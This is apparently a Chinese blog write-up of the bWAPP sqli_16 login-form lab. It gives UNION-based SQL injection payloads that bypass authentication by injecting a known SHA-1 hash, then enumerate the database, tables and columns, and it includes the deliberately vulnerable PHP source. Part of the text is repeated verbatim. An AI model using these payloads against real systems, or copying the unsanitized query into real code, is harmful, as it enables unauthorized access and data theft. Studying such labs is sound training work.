SQL註入之bWAPP之sqli_16.php
阿新 • • 發佈:2018-03-30
bWAPP之sqli_16.php Login Form/User SQL註入登錄 SQL Injection (Login Form/User),這個註入真的讓我崩潰,說好的單引號報錯後,相應的改SQL語句,然而並沒用,然後求助身邊的大牛,他說這個好像不一樣,曾經好像是一道CTF的題,和一般的SQL註入不一樣,但是一時想不起來怎麽秀的了,然後終於想了起來,接著帶著我一頓操作,終於明白是怎麽回事了。
這一切都要從代碼講起,先看代碼:
從第二行開始,$login參數接收傳入的login,$password接收傳入的password,sqli($password)這個是設置難度的,這裏沒有用,接著將password使用sha1方式hash,然後是SQL查詢語句,只查詢了login,接下來是第15行$recordset連接數據庫並使用$sql的查詢語句,在看if、else語句的else部分,第23行$row取出查詢結果的一組作為關聯數組,這點很重要,還有下面一點,第25行的判斷句“if($row["login"] && $password == $row["password"])”,這裏要使$row["login"]為真而且$password == $row["password"]),這要怎麽弄呢,有方法,$row["login"]不是$login,而是查詢後存放在$row的login的值,同理第9行$passwrod和hash值只要等於$row["password"]),所以可以構造SQL語句了,這裏比較難受的問題是,你不知道字段數和login和password對應的字段的位置,所以我們需要黑白盒結合起來,打開數據庫查詢字段和位置,(代碼在最後附上)如圖:
可以看到password在第三個字段處,我們讓password的值為“1”,在線MD5一下,找到sha1對應的hash值為“356a192b7913b04c54574d18c28d46e6395428ab”,開始構造查詢語句,輸入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,結果如圖:
再詳細說下原因:將“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”賦給login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset從數據庫中搜索就有了返回值,即$row["login"]返回不為空,這裏第一個條件就構成了。後面POST的“&password=1”,1的hash的值被我們添加到聯合查詢語句裏了,這樣返回的顯示中就有1的hash值,即返回的查詢有1的hash值,如此$row["password"]的值就是我們傳入到password位置的1的hash值了,這樣$password的值就等於$row["password"],所以第25行的if判斷語句就為真了,是不是很有意思。
下面就是正常的SQL查詢了,我也跟著在來一遍。
1、查詢數據庫等信息:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,結果如圖:
2、查詢表名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看見表名為“Blog”並且還有一個“wapp”數據庫,可以自己嘗試一下,結果如圖:
3、查詢字段名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,結果如圖:
4、查詢字段的內容:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。
這一切都要從代碼講起,先看代碼:
從第二行開始,$login參數接收傳入的login,$password接收傳入的password,sqli($password)這個是設置難度的,這裏沒有用,接著將password使用sha1方式hash,然後是SQL查詢語句,只查詢了login,接下來是第15行$recordset連接數據庫並使用$sql的查詢語句,在看if、else語句的else部分,第23行$row取出查詢結果的一組作為關聯數組,這點很重要,還有下面一點,第25行的判斷句“if($row["login"] && $password == $row["password"])”,這裏要使$row["login"]為真而且$password == $row["password"]),這要怎麽弄呢,有方法,$row["login"]不是$login,而是查詢後存放在$row的login的值,同理第9行$passwrod和hash值只要等於$row["password"]),所以可以構造SQL語句了,這裏比較難受的問題是,你不知道字段數和login和password對應的字段的位置,所以我們需要黑白盒結合起來,打開數據庫查詢字段和位置,(代碼在最後附上)如圖:
可以看到password在第三個字段處,我們讓password的值為“1”,在線MD5一下,找到sha1對應的hash值為“356a192b7913b04c54574d18c28d46e6395428ab”,開始構造查詢語句,輸入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,結果如圖:
再詳細說下原因:將“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”賦給login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset從數據庫中搜索就有了返回值,即$row["login"]返回不為空,這裏第一個條件就構成了。後面POST的“&password=1”,1的hash的值被我們添加到聯合查詢語句裏了,這樣返回的顯示中就有1的hash值,即返回的查詢有1的hash值,如此$row["password"]的值就是我們傳入到password位置的1的hash值了,這樣$password的值就等於$row["password"],所以第25行的if判斷語句就為真了,是不是很有意思。
1、查詢數據庫等信息:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,結果如圖:
2、查詢表名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看見表名為“Blog”並且還有一個“wapp”數據庫,可以自己嘗試一下,結果如圖:
3、查詢字段名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,結果如圖:
4、查詢字段的內容:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。
部分代碼如下:
<?php
if(isset($_POST["form"]))
{
$login = $_POST["login"];
$login = sqli($login);
$password = $_POST["password"];
$password = sqli($password);
$password = hash("sha1", $password, false);
$sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";
// echo $sql;
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
die("Error: " . mysql_error());
}
else
{
$row = mysql_fetch_array($recordset);
if($row["login"] && $password == $row["password"])
{
// $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
$message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
// $message = $row["login"];
}
else
{
$message = "<font color=\"red\">Invalid credentials!</font>";
}
}
mysql_close($link);
}
echo $message;
?>
SQL註入之bWAPP之sqli_16.php